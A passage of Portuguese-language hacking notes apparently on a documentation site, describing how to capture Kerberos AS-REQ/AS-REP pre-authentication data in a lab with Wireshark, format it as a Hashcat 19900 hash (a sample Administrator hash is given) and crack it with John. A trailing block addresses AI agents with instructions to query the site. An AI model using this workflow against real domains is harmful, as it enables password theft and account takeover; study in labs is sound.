# AS-REP Roasting com Wireshark
### Observação manual
No laboratório, podemos capturar tráfego com o Wireshark durante uma tentativa de autenticação.
Observamos, em particular:
```bash
AS-REQ
AS-REP
```
No pacote Kerberos, podemos analisar:
```bash
padata
padata-value
cifra
salt
```
Esses valores podem ser usados para reconstruir um hash em um formato compatível com o John ou o Hashcat.
### Formato Hashcat 19900
Em certos casos relacionados à pré-autenticação do Kerberos, o Hashcat pode usar o modo:
```
19900
```
{% embed url="" %}
Estrutura de exemplo:
```
$krb5pa$18$user$DOMAIN$SALT$CIPHER
```
Exemplo adaptado ao laboratório:
{% code overflow="wrap" %}
```bash
$krb5pa$18$Administrador$WHOAMI.LOCAL$WIN-D4TRD7S7IHPAdministrador$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770
```
{% endcode %}
Então, podemos executar o John:
{% code overflow="wrap" %}
```bash
john --wordlist=passwords.txt hash
```
{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/as-rep-roasting-with-wireshark.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
